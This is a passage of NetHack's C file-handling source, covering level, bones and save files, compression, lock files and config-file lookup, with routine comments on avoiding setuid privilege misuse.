HANGUPHANDLING if (program_state.preserve_locks) return; #endif #if !defined(PC_LOCKING) && defined(MFLOPPY) && !defined(AMIGA) eraseall(levels, alllevels); if (ramdisk) eraseall(permbones, alllevels); #else { register int x; #ifndef NO_SIGNAL (void) signal(SIGINT, SIG_IGN); #endif #if defined(UNIX) || defined(VMS) sethanguphandler((void FDECL((*), (int) )) SIG_IGN); #endif /* can't access maxledgerno() before dungeons are created -dlc */ for (x = (n_dgns ? maxledgerno() : 0); x >= 0; x--) delete_levelfile(x); /* not all levels need be present */ } #endif /* ?PC_LOCKING,&c */ } #if defined(SELECTSAVED) /* qsort comparison routine */ STATIC_OVL int CFDECLSPEC strcmp_wrap(p, q) const void *p; const void *q; { #if defined(UNIX) && defined(QT_GRAPHICS) return strncasecmp(*(char **) p, *(char **) q, 16); #else return strncmpi(*(char **) p, *(char **) q, 16); #endif } #endif #ifdef HOLD_LOCKFILE_OPEN STATIC_OVL int open_levelfile_exclusively(name, lev, oflag) const char *name; int lev, oflag; { int reslt, fd; if (!lftrack.init) { lftrack.init = 1; lftrack.fd = -1; } if (lftrack.fd >= 0) { /* check for compatible access */ if (lftrack.oflag == oflag) { fd = lftrack.fd; reslt = lseek(fd, 0L, SEEK_SET); if (reslt == -1L) panic("open_levelfile_exclusively: lseek failed %d", errno); lftrack.nethack_thinks_it_is_open = TRUE; } else { really_close(); fd = sopen(name, oflag, SH_DENYRW, FCMASK); lftrack.fd = fd; lftrack.oflag = oflag; lftrack.nethack_thinks_it_is_open = TRUE; } } else { fd = sopen(name, oflag, SH_DENYRW, FCMASK); lftrack.fd = fd; lftrack.oflag = oflag; if (fd >= 0) lftrack.nethack_thinks_it_is_open = TRUE; } return fd; } void really_close() { int fd; if (lftrack.init) { fd = lftrack.fd; lftrack.nethack_thinks_it_is_open = FALSE; lftrack.fd = -1; lftrack.oflag = 0; if (fd != -1) (void) close(fd); } return; } int nhclose(fd) int fd; { if (lftrack.fd == fd) { really_close(); /* close it, but reopen it to hold it */ fd = open_levelfile(0, (char *) 0); lftrack.nethack_thinks_it_is_open = FALSE; return 0; } return close(fd); } #else /* !HOLD_LOCKFILE_OPEN */ int nhclose(fd) int fd; { return close(fd); } #endif /* ?HOLD_LOCKFILE_OPEN */ /* ---------- END LEVEL FILE HANDLING ----------- */ /* ---------- BEGIN BONES FILE HANDLING ----------- */ /* set up "file" to be file name for retrieving bones, and return a * bonesid to be read/written in the bones file. */ STATIC_OVL char * set_bonesfile_name(file, lev) char *file; d_level *lev; { s_level *sptr; char *dptr; /* * "bonD0.nn" = bones for level nn in the main dungeon; * "bonM0.T" = bones for Minetown; * "bonQBar.n" = bones for level n in the Barbarian quest; * "bon3D0.nn" = \ * "bon3M0.T" = > same as above, but for bones pool #3. * "bon3QBar.n" = / * * Return value for content validation skips "bon" and the * pool number (if present), making it feasible for the admin * to manually move a bones file from one pool to another by * renaming it. */ Strcpy(file, "bon"); #ifdef SYSCF if (sysopt.bones_pools > 1) { unsigned poolnum = min((unsigned) sysopt.bones_pools, 10); poolnum = (unsigned) ubirthday % poolnum; /* 0..9 */ Sprintf(eos(file), "%u", poolnum); } #endif dptr = eos(file); /* this used to be after the following Sprintf() and the return value was (dptr - 2) */ /* when this naming scheme was adopted, 'filecode' was one letter; 3.3.0 turned it into a three letter string (via roles[] in role.c); from that version through 3.6.0, 'dptr' pointed past the filecode and the return value of (dptr - 2) was wrong for bones produced in the quest branch, skipping the boneid character 'Q' and the first letter of the role's filecode; bones loading still worked because the bonesid used for validation had the same error */ Sprintf(dptr, "%c%s", dungeons[lev->dnum].boneid, In_quest(lev) ? urole.filecode : "0"); if ((sptr = Is_special(lev)) != 0) Sprintf(eos(dptr), ".%c", sptr->boneid); else Sprintf(eos(dptr), ".%d", lev->dlevel); #ifdef VMS Strcat(dptr, ";1"); #endif return dptr; } /* set up temporary file name for writing bones, to avoid another game's * trying to read from an uncompleted bones file. we want an uncontentious * name, so use one in the namespace reserved for this game's level files. * (we are not reading or writing level files while writing bones files, so * the same array may be used instead of copying.) */ STATIC_OVL char * set_bonestemp_name() { char *tf; tf = rindex(lock, '.'); if (!tf) tf = eos(lock); Sprintf(tf, ".bn"); #ifdef VMS Strcat(tf, ";1"); #endif return lock; } int create_bonesfile(lev, bonesid, errbuf) d_level *lev; char **bonesid; char errbuf[]; { const char *file; int fd; if (errbuf) *errbuf = '\0'; *bonesid = set_bonesfile_name(bones, lev); file = set_bonestemp_name(); file = fqname(file, BONESPREFIX, 0); #if defined(MICRO) || defined(WIN32) /* Use O_TRUNC to force the file to be shortened if it already * exists and is currently longer. */ fd = open(file, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, FCMASK); #else #ifdef MAC fd = maccreat(file, BONE_TYPE); #else fd = creat(file, FCMASK); #endif #endif if (fd < 0 && errbuf) /* failure explanation */ Sprintf(errbuf, "Cannot create bones \"%s\", id %s (errno %d).", lock, *bonesid, errno); #if defined(VMS) && !defined(SECURE) /* Re-protect bones file with world:read+write+execute+delete access. umask() doesn't seem very reliable; also, vaxcrtl won't let us set delete access without write access, which is what's really wanted. Can't simply create it with the desired protection because creat ANDs the mask with the user's default protection, which usually denies some or all access to world. */ (void) chmod(file, FCMASK | 007); /* allow other users full access */ #endif /* VMS && !SECURE */ return fd; } #ifdef MFLOPPY /* remove partial bonesfile in process of creation */ void cancel_bonesfile() { const char *tempname; tempname = set_bonestemp_name(); tempname = fqname(tempname, BONESPREFIX, 0); (void) unlink(tempname); } #endif /* MFLOPPY */ /* move completed bones file to proper name */ void commit_bonesfile(lev) d_level *lev; { const char *fq_bones, *tempname; int ret; (void) set_bonesfile_name(bones, lev); fq_bones = fqname(bones, BONESPREFIX, 0); tempname = set_bonestemp_name(); tempname = fqname(tempname, BONESPREFIX, 1); #if (defined(SYSV) && !defined(SVR4)) || defined(GENIX) /* old SYSVs don't have rename. Some SVR3's may, but since they * also have link/unlink, it doesn't matter. :-) */ (void) unlink(fq_bones); ret = link(tempname, fq_bones); ret += unlink(tempname); #else ret = rename(tempname, fq_bones); #endif if (wizard && ret != 0) pline("couldn't rename %s to %s.", tempname, fq_bones); } int open_bonesfile(lev, bonesid) d_level *lev; char **bonesid; { const char *fq_bones; int fd; *bonesid = set_bonesfile_name(bones, lev); fq_bones = fqname(bones, BONESPREFIX, 0); nh_uncompress(fq_bones); /* no effect if nonexistent */ #ifdef MAC fd = macopen(fq_bones, O_RDONLY | O_BINARY, BONE_TYPE); #else fd = open(fq_bones, O_RDONLY | O_BINARY, 0); #endif return fd; } int delete_bonesfile(lev) d_level *lev; { (void) set_bonesfile_name(bones, lev); return !(unlink(fqname(bones, BONESPREFIX, 0)) < 0); } /* assume we're compressing the recently read or created bonesfile, so the * file name is already set properly */ void compress_bonesfile() { nh_compress(fqname(bones, BONESPREFIX, 0)); } /* ---------- END BONES FILE HANDLING ----------- */ /* ---------- BEGIN SAVE FILE HANDLING ----------- */ /* set savefile name in OS-dependent manner from pre-existing plname, * avoiding troublesome characters */ void set_savefile_name(regularize_it) boolean regularize_it; { #ifdef VMS Sprintf(SAVEF, "[.save]%d%s", getuid(), plname); if (regularize_it) regularize(SAVEF + 7); Strcat(SAVEF, ";1"); #else #if defined(MICRO) Strcpy(SAVEF, SAVEP); #ifdef AMIGA strncat(SAVEF, bbs_id, PATHLEN); #endif { int i = strlen(SAVEP); #ifdef AMIGA /* plname has to share space with SAVEP and ".sav" */ (void) strncat(SAVEF, plname, FILENAME - i - 4); #else (void) strncat(SAVEF, plname, 8); #endif if (regularize_it) regularize(SAVEF + i); } Strcat(SAVEF, SAVE_EXTENSION); #else #if defined(WIN32) { static const char okchars[] = "*ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-."; const char *legal = okchars; char fnamebuf[BUFSZ], encodedfnamebuf[BUFSZ]; /* Obtain the name of the logged on user and incorporate * it into the name. */ Sprintf(fnamebuf, "%s", plname); if (regularize_it) ++legal; /* skip '*' wildcard character */ (void) fname_encode(legal, '%', fnamebuf, encodedfnamebuf, BUFSZ); Sprintf(SAVEF, "%s%s", encodedfnamebuf, SAVE_EXTENSION); } #else /* not VMS or MICRO or WIN32 */ Sprintf(SAVEF, "save/%d%s", (int) getuid(), plname); if (regularize_it) regularize(SAVEF + 5); /* avoid . or / in name */ #endif /* WIN32 */ #endif /* MICRO */ #endif /* VMS */ } #ifdef INSURANCE void save_savefile_name(fd) int fd; { (void) write(fd, (genericptr_t) SAVEF, sizeof(SAVEF)); } #endif #ifndef MICRO /* change pre-existing savefile name to indicate an error savefile */ void set_error_savefile() { #ifdef VMS { char *semi_colon = rindex(SAVEF, ';'); if (semi_colon) *semi_colon = '\0'; } Strcat(SAVEF, ".e;1"); #else #ifdef MAC Strcat(SAVEF, "-e"); #else Strcat(SAVEF, ".e"); #endif #endif } #endif /* create save file, overwriting one if it already exists */ int create_savefile() { const char *fq_save; int fd; fq_save = fqname(SAVEF, SAVEPREFIX, 0); #if defined(MICRO) || defined(WIN32) fd = open(fq_save, O_WRONLY | O_BINARY | O_CREAT | O_TRUNC, FCMASK); #else #ifdef MAC fd = maccreat(fq_save, SAVE_TYPE); #else fd = creat(fq_save, FCMASK); #endif #if defined(VMS) && !defined(SECURE) /* Make sure the save file is owned by the current process. That's the default for non-privileged users, but for priv'd users the file will be owned by the directory's owner instead of the user. */ #undef getuid (void) chown(fq_save, getuid(), getgid()); #define getuid() vms_getuid() #endif /* VMS && !SECURE */ #endif /* MICRO */ return fd; } /* open savefile for reading */ int open_savefile() { const char *fq_save; int fd; fq_save = fqname(SAVEF, SAVEPREFIX, 0); #ifdef MAC fd = macopen(fq_save, O_RDONLY | O_BINARY, SAVE_TYPE); #else fd = open(fq_save, O_RDONLY | O_BINARY, 0); #endif return fd; } /* delete savefile */ int delete_savefile() { (void) unlink(fqname(SAVEF, SAVEPREFIX, 0)); return 0; /* for restore_saved_game() (ex-xxxmain.c) test */ } /* try to open up a save file and prepare to restore it */ int restore_saved_game() { const char *fq_save; int fd; reset_restpref(); set_savefile_name(TRUE); #ifdef MFLOPPY if (!saveDiskPrompt(1)) return -1; #endif /* MFLOPPY */ fq_save = fqname(SAVEF, SAVEPREFIX, 0); nh_uncompress(fq_save); if ((fd = open_savefile()) < 0) return fd; if (validate(fd, fq_save) != 0) { (void) nhclose(fd), fd = -1; (void) delete_savefile(); } return fd; } #if defined(SELECTSAVED) char * plname_from_file(filename) const char *filename; { int fd; char *result = 0; Strcpy(SAVEF, filename); #ifdef COMPRESS_EXTENSION SAVEF[strlen(SAVEF) - strlen(COMPRESS_EXTENSION)] = '\0'; #endif nh_uncompress(SAVEF); if ((fd = open_savefile()) >= 0) { if (validate(fd, filename) == 0) { char tplname[PL_NSIZ]; get_plname_from_file(fd, tplname); result = dupstr(tplname); } (void) nhclose(fd); } nh_compress(SAVEF); return result; #if 0 /* --------- obsolete - used to be ifndef STORE_PLNAME_IN_FILE ----*/ #if defined(UNIX) && defined(QT_GRAPHICS) /* Name not stored in save file, so we have to extract it from the filename, which loses information (eg. "/", "_", and "." characters are lost. */ int k; int uid; char name[64]; /* more than PL_NSIZ */ #ifdef COMPRESS_EXTENSION #define EXTSTR COMPRESS_EXTENSION #else #define EXTSTR "" #endif if ( sscanf( filename, "%*[^/]/%d%63[^.]" EXTSTR, &uid, name ) == 2 ) { #undef EXTSTR /* "_" most likely means " ", which certainly looks nicer */ for (k=0; name[k]; k++) if ( name[k] == '_' ) name[k] = ' '; return dupstr(name); } else #endif /* UNIX && QT_GRAPHICS */ { return 0; } /* --------- end of obsolete code ----*/ #endif /* 0 - WAS STORE_PLNAME_IN_FILE*/ } #endif /* defined(SELECTSAVED) */ char ** get_saved_games() { #if defined(SELECTSAVED) int n, j = 0; char **result = 0; #ifdef WIN32 { char *foundfile; const char *fq_save; const char *fq_new_save; const char *fq_old_save; char **files = 0; int i; Strcpy(plname, "*"); set_savefile_name(FALSE); #if defined(ZLIB_COMP) Strcat(SAVEF, COMPRESS_EXTENSION); #endif fq_save = fqname(SAVEF, SAVEPREFIX, 0); n = 0; foundfile = foundfile_buffer(); if (findfirst((char *) fq_save)) { do { ++n; } while (findnext()); } if (n > 0) { files = (char **) alloc((n + 1) * sizeof(char *)); /* at most */ (void) memset((genericptr_t) files, 0, (n + 1) * sizeof(char *)); if (findfirst((char *) fq_save)) { i = 0; do { files[i++] = strdup(foundfile); } while (findnext()); } } if (n > 0) { result = (char **) alloc((n + 1) * sizeof(char *)); /* at most */ (void) memset((genericptr_t) result, 0, (n + 1) * sizeof(char *)); for(i = 0; i < n; i++) { char *r; r = plname_from_file(files[i]); if (r) { /* rename file if it is not named as expected */ Strcpy(plname, r); set_savefile_name(FALSE); fq_new_save = fqname(SAVEF, SAVEPREFIX, 0); fq_old_save = fqname(files[i], SAVEPREFIX, 1); if(strcmp(fq_old_save, fq_new_save) != 0 && !file_exists(fq_new_save)) rename(fq_old_save, fq_new_save); result[j++] = r; } } } free_saved_games(files); } #endif #if defined(UNIX) && defined(QT_GRAPHICS) /* posixly correct version */ int myuid = getuid(); DIR *dir; if ((dir = opendir(fqname("save", SAVEPREFIX, 0)))) { for (n = 0; readdir(dir); n++) ; closedir(dir); if (n > 0) { int i; if (!(dir = opendir(fqname("save", SAVEPREFIX, 0)))) return 0; result = (char **) alloc((n + 1) * sizeof(char *)); /* at most */ (void) memset((genericptr_t) result, 0, (n + 1) * sizeof(char *)); for (i = 0, j = 0; i < n; i++) { int uid; char name[64]; /* more than PL_NSIZ */ struct dirent *entry = readdir(dir); if (!entry) break; if (sscanf(entry->d_name, "%d%63s", &uid, name) == 2) { if (uid == myuid) { char filename[BUFSZ]; char *r; Sprintf(filename, "save/%d%s", uid, name); r = plname_from_file(filename); if (r) result[j++] = r; } } } closedir(dir); } } #endif #ifdef VMS Strcpy(plname, "*"); set_savefile_name(FALSE); j = vms_get_saved_games(SAVEF, &result); #endif /* VMS */ if (j > 0) { if (j > 1) qsort(result, j, sizeof (char *), strcmp_wrap); result[j] = 0; return result; } else if (result) { /* could happen if save files are obsolete */ free_saved_games(result); } #endif /* SELECTSAVED */ return 0; } void free_saved_games(saved) char **saved; { if (saved) { int i = 0; while (saved[i]) free((genericptr_t) saved[i++]); free((genericptr_t) saved); } } /* ---------- END SAVE FILE HANDLING ----------- */ /* ---------- BEGIN FILE COMPRESSION HANDLING ----------- */ #ifdef COMPRESS STATIC_OVL void redirect(filename, mode, stream, uncomp) const char *filename, *mode; FILE *stream; boolean uncomp; { if (freopen(filename, mode, stream) == (FILE *) 0) { (void) fprintf(stderr, "freopen of %s for %scompress failed\n", filename, uncomp ? "un" : ""); nh_terminate(EXIT_FAILURE); } } /* * using system() is simpler, but opens up security holes and causes * problems on at least Interactive UNIX 3.0.1 (SVR3.2), where any * setuid is renounced by /bin/sh, so the files cannot be accessed. * * cf. child() in unixunix.c. */ STATIC_OVL void docompress_file(filename, uncomp) const char *filename; boolean uncomp; { char cfn[80]; FILE *cf; const char *args[10]; #ifdef COMPRESS_OPTIONS char opts[80]; #endif int i = 0; int f; #ifdef TTY_GRAPHICS boolean istty = WINDOWPORT("tty"); #endif Strcpy(cfn, filename); #ifdef COMPRESS_EXTENSION Strcat(cfn, COMPRESS_EXTENSION); #endif /* when compressing, we know the file exists */ if (uncomp) { if ((cf = fopen(cfn, RDBMODE)) == (FILE *) 0) return; (void) fclose(cf); } args[0] = COMPRESS; if (uncomp) args[++i] = "-d"; /* uncompress */ #ifdef COMPRESS_OPTIONS { /* we can't guarantee there's only one additional option, sigh */ char *opt; boolean inword = FALSE; Strcpy(opts, COMPRESS_OPTIONS); opt = opts; while (*opt) { if ((*opt == ' ') || (*opt == '\t')) { if (inword) { *opt = '\0'; inword = FALSE; } } else if (!inword) { args[++i] = opt; inword = TRUE; } opt++; } } #endif args[++i] = (char *) 0; #ifdef TTY_GRAPHICS /* If we don't do this and we are right after a y/n question *and* * there is an error message from the compression, the 'y' or 'n' can * end up being displayed after the error message. */ if (istty) mark_synch(); #endif f = fork(); if (f == 0) { /* child */ #ifdef TTY_GRAPHICS /* any error messages from the compression must come out after * the first line, because the more() to let the user read * them will have to clear the first line. This should be * invisible if there are no error messages. */ if (istty) raw_print(""); #endif /* run compressor without privileges, in case other programs * have surprises along the line of gzip once taking filenames * in GZIP. */ /* assume all compressors will compress stdin to stdout * without explicit filenames. this is true of at least * compress and gzip, those mentioned in config.h. */ if (uncomp) { redirect(cfn, RDBMODE, stdin, uncomp); redirect(filename, WRBMODE, stdout, uncomp); } else { redirect(filename, RDBMODE, stdin, uncomp); redirect(cfn, WRBMODE, stdout, uncomp); } (void) setgid(getgid()); (void) setuid(getuid()); (void) execv(args[0], (char *const *) args); perror((char *) 0); (void) fprintf(stderr, "Exec to %scompress %s failed.\n", uncomp ? "un" : "", filename); nh_terminate(EXIT_FAILURE); } else if (f == -1) { perror((char *) 0); pline("Fork to %scompress %s failed.", uncomp ? "un" : "", filename); return; } #ifndef NO_SIGNAL (void) signal(SIGINT, SIG_IGN); (void) signal(SIGQUIT, SIG_IGN); (void) wait((int *) &i); (void) signal(SIGINT, (SIG_RET_TYPE) done1); if (wizard) (void) signal(SIGQUIT, SIG_DFL); #else /* I don't think we can really cope with external compression * without signals, so we'll declare that compress failed and * go on. (We could do a better job by forcing off external * compression if there are no signals, but we want this for * testing with FailSafeC */ i = 1; #endif if (i == 0) { /* (un)compress succeeded: remove file left behind */ if (uncomp) (void) unlink(cfn); else (void) unlink(filename); } else { /* (un)compress failed; remove the new, bad file */ if (uncomp) { raw_printf("Unable to uncompress %s", filename); (void) unlink(filename); } else { /* no message needed for compress case; life will go on */ (void) unlink(cfn); } #ifdef TTY_GRAPHICS /* Give them a chance to read any error messages from the * compression--these would go to stdout or stderr and would get * overwritten only in tty mode. It's still ugly, since the * messages are being written on top of the screen, but at least * the user can read them. */ if (istty && iflags.window_inited) { clear_nhwindow(WIN_MESSAGE); more(); /* No way to know if this is feasible */ /* doredraw(); */ } #endif } } #endif /* COMPRESS */ #if defined(COMPRESS) || defined(ZLIB_COMP) #define UNUSED_if_not_COMPRESS /*empty*/ #else #define UNUSED_if_not_COMPRESS UNUSED #endif /* compress file */ void nh_compress(filename) const char *filename UNUSED_if_not_COMPRESS; { #if !defined(COMPRESS) && !defined(ZLIB_COMP) #ifdef PRAGMA_UNUSED #pragma unused(filename) #endif #else docompress_file(filename, FALSE); #endif } /* uncompress file if it exists */ void nh_uncompress(filename) const char *filename UNUSED_if_not_COMPRESS; { #if !defined(COMPRESS) && !defined(ZLIB_COMP) #ifdef PRAGMA_UNUSED #pragma unused(filename) #endif #else docompress_file(filename, TRUE); #endif } #ifdef ZLIB_COMP /* RLC 09 Mar 1999: Support internal ZLIB */ STATIC_OVL boolean make_compressed_name(filename, cfn) const char *filename; char *cfn; { #ifndef SHORT_FILENAMES /* Assume free-form filename with no 8.3 restrictions */ strcpy(cfn, filename); strcat(cfn, COMPRESS_EXTENSION); return TRUE; #else #ifdef SAVE_EXTENSION char *bp = (char *) 0; strcpy(cfn, filename); if ((bp = strstri(cfn, SAVE_EXTENSION))) { strsubst(bp, SAVE_EXTENSION, ".saz"); return TRUE; } else { /* find last occurrence of bon */ bp = eos(cfn); while (bp-- > cfn) { if (strstri(bp, "bon")) { strsubst(bp, "bon", "boz"); return TRUE; } } } #endif /* SAVE_EXTENSION */ return FALSE; #endif /* SHORT_FILENAMES */ } STATIC_OVL void docompress_file(filename, uncomp) const char *filename; boolean uncomp; { gzFile compressedfile; FILE *uncompressedfile; char cfn[256]; char buf[1024]; unsigned len, len2; if (!make_compressed_name(filename, cfn)) return; if (!uncomp) { /* Open the input and output files */ /* Note that gzopen takes "wb" as its mode, even on systems where fopen takes "r" and "w" */ uncompressedfile = fopen(filename, RDBMODE); if (!uncompressedfile) { pline("Error in zlib docompress_file %s", filename); return; } compressedfile = gzopen(cfn, "wb"); if (compressedfile == NULL) { if (errno == 0) { pline("zlib failed to allocate memory"); } else { panic("Error in docompress_file %d", errno); } fclose(uncompressedfile); return; } /* Copy from the uncompressed to the compressed file */ while (1) { len = fread(buf, 1, sizeof(buf), uncompressedfile); if (ferror(uncompressedfile)) { pline("Failure reading uncompressed file"); pline("Can't compress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(cfn); return; } if (len == 0) break; /* End of file */ len2 = gzwrite(compressedfile, buf, len); if (len2 == 0) { pline("Failure writing compressed file"); pline("Can't compress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(cfn); return; } } fclose(uncompressedfile); gzclose(compressedfile); /* Delete the file left behind */ (void) unlink(filename); } else { /* uncomp */ /* Open the input and output files */ /* Note that gzopen takes "rb" as its mode, even on systems where fopen takes "r" and "w" */ compressedfile = gzopen(cfn, "rb"); if (compressedfile == NULL) { if (errno == 0) { pline("zlib failed to allocate memory"); } else if (errno != ENOENT) { panic("Error in zlib docompress_file %s, %d", filename, errno); } return; } uncompressedfile = fopen(filename, WRBMODE); if (!uncompressedfile) { pline("Error in zlib docompress file uncompress %s", filename); gzclose(compressedfile); return; } /* Copy from the compressed to the uncompressed file */ while (1) { len = gzread(compressedfile, buf, sizeof(buf)); if (len == (unsigned) -1) { pline("Failure reading compressed file"); pline("Can't uncompress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(filename); return; } if (len == 0) break; /* End of file */ fwrite(buf, 1, len, uncompressedfile); if (ferror(uncompressedfile)) { pline("Failure writing uncompressed file"); pline("Can't uncompress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(filename); return; } } fclose(uncompressedfile); gzclose(compressedfile); /* Delete the file left behind */ (void) unlink(cfn); } } #endif /* RLC 09 Mar 1999: End ZLIB patch */ /* ---------- END FILE COMPRESSION HANDLING ----------- */ /* ---------- BEGIN FILE LOCKING HANDLING ----------- */ static int nesting = 0; #if defined(NO_FILE_LINKS) || defined(USE_FCNTL) /* implies UNIX */ static int lockfd = -1; /* for lock_file() to pass to unlock_file() */ #endif #ifdef USE_FCNTL struct flock sflock; /* for unlocking, same as above */ #endif #define HUP if (!program_state.done_hup) #ifndef USE_FCNTL STATIC_OVL char * make_lockname(filename, lockname) const char *filename; char *lockname; { #if defined(UNIX) || defined(VMS) || defined(AMIGA) || defined(WIN32) \ || defined(MSDOS) #ifdef NO_FILE_LINKS Strcpy(lockname, LOCKDIR); Strcat(lockname, "/"); Strcat(lockname, filename); #else Strcpy(lockname, filename); #endif #ifdef VMS { char *semi_colon = rindex(lockname, ';'); if (semi_colon) *semi_colon = '\0'; } Strcat(lockname, ".lock;1"); #else Strcat(lockname, "_lock"); #endif return lockname; #else /* !(UNIX || VMS || AMIGA || WIN32 || MSDOS) */ #ifdef PRAGMA_UNUSED #pragma unused(filename) #endif lockname[0] = '\0'; return (char *) 0; #endif } #endif /* !USE_FCNTL */ /* lock a file */ boolean lock_file(filename, whichprefix, retryct) const char *filename; int whichprefix; int retryct; { #if defined(PRAGMA_UNUSED) && !(defined(UNIX) || defined(VMS)) \ && !(defined(AMIGA) || defined(WIN32) || defined(MSDOS)) #pragma unused(retryct) #endif #ifndef USE_FCNTL char locknambuf[BUFSZ]; const char *lockname; #endif nesting++; if (nesting > 1) { impossible("TRIED TO NEST LOCKS"); return TRUE; } #ifndef USE_FCNTL lockname = make_lockname(filename, locknambuf); #ifndef NO_FILE_LINKS /* LOCKDIR should be subsumed by LOCKPREFIX */ lockname = fqname(lockname, LOCKPREFIX, 2); #endif #endif filename = fqname(filename, whichprefix, 0); #ifdef USE_FCNTL lockfd = open(filename, O_RDWR); if (lockfd == -1) { HUP raw_printf("Cannot open file %s. Is NetHack installed correctly?", filename); nesting--; return FALSE; } sflock.l_type = F_WRLCK; sflock.l_whence = SEEK_SET; sflock.l_start = 0; sflock.l_len = 0; #endif #if defined(UNIX) || defined(VMS) #ifdef USE_FCNTL while (fcntl(lockfd, F_SETLK, &sflock) == -1) { #else #ifdef NO_FILE_LINKS while ((lockfd = open(lockname, O_RDWR | O_CREAT | O_EXCL, 0666)) == -1) { #else while (link(filename, lockname) == -1) { #endif #endif #ifdef USE_FCNTL if (retryct--) { HUP raw_printf( "Waiting for release of fcntl lock on %s. (%d retries left.)", filename, retryct); sleep(1); } else { HUP(void) raw_print("I give up. Sorry."); HUP raw_printf("Some other process has an unnatural grip on %s.", filename); nesting--; return FALSE; } #else int errnosv = errno; switch (errnosv) { /* George Barbanis */ case EEXIST: if (retryct--) { HUP raw_printf( "Waiting for access to %s. (%d retries left).", filename, retryct); #if defined(SYSV) || defined(ULTRIX) || defined(VMS) (void) #endif sleep(1); } else { HUP(void) raw_print("I give up. Sorry."); HUP raw_printf("Perhaps there is an old %s around?", lockname); nesting--; return FALSE; } break; case ENOENT: HUP raw_printf("Can't find file %s to lock!", filename); nesting--; return FALSE; case EACCES: HUP raw_printf("No write permission to lock %s!", filename); nesting--; return FALSE; #ifdef VMS /* c__translate(vmsfiles.c) */ case EPERM: /* could be misleading, but usually right */ HUP raw_printf("Can't lock %s due to directory protection.", filename); nesting--; return FALSE; #endif case EROFS: /* take a wild guess at the underlying cause */ HUP perror(lockname); HUP raw_printf("Cannot lock %s.", filename); HUP raw_printf( "(Perhaps you are running NetHack from inside the distribution package?)."); nesting--; return FALSE; default: HUP perror(lockname); HUP raw_printf("Cannot lock %s for unknown reason (%d).", filename, errnosv); nesting--; return FALSE; } #endif /* USE_FCNTL */ } #endif /* UNIX || VMS */ #if (defined(AMIGA) || defined(WIN32) || defined(MSDOS)) \ && !defined(USE_FCNTL) #ifdef AMIGA #define OPENFAILURE(fd) (!fd) lockptr = 0; #else #define OPENFAILURE(fd) (fd < 0) lockptr = -1; #endif while (--retryct && OPENFAILURE(lockptr)) { #if defined(WIN32) && !defined(WIN_CE) lockptr = sopen(lockname, O_RDWR | O_CREAT, SH_DENYRW, S_IWRITE); #else (void) DeleteFile(lockname); /* in case dead process was here first */ #ifdef AMIGA lockptr = Open(lockname, MODE_NEWFILE); #else lockptr = open(lockname, O_RDWR | O_CREAT | O_EXCL, S_IWRITE); #endif #endif if (OPENFAILURE(lockptr)) { raw_printf("Waiting for access to %s. (%d retries left).", filename, retryct); Delay(50); } } if (!retryct) { raw_printf("I give up. Sorry."); nesting--; return FALSE; } #endif /* AMIGA || WIN32 || MSDOS */ return TRUE; } #ifdef VMS /* for unlock_file, use the unlink() routine in vmsunix.c */ #ifdef unlink #undef unlink #endif #define unlink(foo) vms_unlink(foo) #endif /* unlock file, which must be currently locked by lock_file */ void unlock_file(filename) const char *filename; { #ifndef USE_FCNTL char locknambuf[BUFSZ]; const char *lockname; #endif if (nesting == 1) { #ifdef USE_FCNTL sflock.l_type = F_UNLCK; if (lockfd >= 0) { if (fcntl(lockfd, F_SETLK, &sflock) == -1) HUP raw_printf("Can't remove fcntl lock on %s.", filename); (void) close(lockfd), lockfd = -1; } #else lockname = make_lockname(filename, locknambuf); #ifndef NO_FILE_LINKS /* LOCKDIR should be subsumed by LOCKPREFIX */ lockname = fqname(lockname, LOCKPREFIX, 2); #endif #if defined(UNIX) || defined(VMS) if (unlink(lockname) < 0) HUP raw_printf("Can't unlink %s.", lockname); #ifdef NO_FILE_LINKS (void) nhclose(lockfd), lockfd = -1; #endif #endif /* UNIX || VMS */ #if defined(AMIGA) || defined(WIN32) || defined(MSDOS) if (lockptr) Close(lockptr); DeleteFile(lockname); lockptr = 0; #endif /* AMIGA || WIN32 || MSDOS */ #endif /* USE_FCNTL */ } nesting--; } /* ---------- END FILE LOCKING HANDLING ----------- */ /* ---------- BEGIN CONFIG FILE HANDLING ----------- */ const char *default_configfile = #ifdef UNIX ".nethackrc"; #else #if defined(MAC) || defined(__BEOS__) "NetHack Defaults"; #else #if defined(MSDOS) || defined(WIN32) CONFIG_FILE; #else "NetHack.cnf"; #endif #endif #endif /* used for messaging */ char configfile[BUFSZ]; #ifdef MSDOS /* conflict with speed-dial under windows * for XXX.cnf file so support of NetHack.cnf * is for backward compatibility only. * Preferred name (and first tried) is now defaults.nh but * the game will try the old name if there * is no defaults.nh. */ const char *backward_compat_configfile = "nethack.cnf"; #endif /* remember the name of the file we're accessing; if may be used in option reject messages */ STATIC_OVL void set_configfile_name(fname) const char *fname; { (void) strncpy(configfile, fname, sizeof configfile - 1); configfile[sizeof configfile - 1] = '\0'; } #ifndef MFLOPPY #define fopenp fopen #endif STATIC_OVL FILE * fopen_config_file(filename, src) const char *filename; int src; { FILE *fp; #if defined(UNIX) || defined(VMS) char tmp_config[BUFSZ]; char *envp; #endif if (src == SET_IN_SYS) { /* SYSCF_FILE; if we can't open it, caller will bail */ if (filename && *filename) { set_configfile_name(fqname(filename, SYSCONFPREFIX, 0)); fp = fopenp(configfile, "r"); } else fp = (FILE *) 0; return fp; } /* If src != SET_IN_SYS, "filename" is an environment variable, so it * should hang around. If set, it is expected to be a full path name * (if relevant) */ if (filename && *filename) { set_configfile_name(filename); #ifdef UNIX if (access(configfile, 4) == -1) { /* 4 is R_OK on newer systems */ /* nasty sneaky attempt to read file through * NetHack's setuid permissions -- this is the only * place a file name may be wholly under the player's * control (but SYSCF_FILE is not under the player's * control so it's OK). */ raw_printf("Access to %s denied (%d).", configfile, errno); wait_synch(); /* fall through to standard names */ } else #endif if ((fp = fopenp(configfile, "r")) != (FILE *) 0) { return fp; #if defined(UNIX) || defined(VMS) } else { /* access() above probably caught most problems for UNIX */ raw_printf("Couldn't open requested config file %s (%d).", configfile, errno); wait_synch(); #endif } } /* fall through to standard names */ #if defined(MICRO) || defined(MAC) || defined(__BEOS__) || defined(WIN32) set_configfile_name(fqname(default_configfile, CONFIGPREFIX, 0)); if ((fp = fopenp(configfile, "r")) != (FILE *) 0) 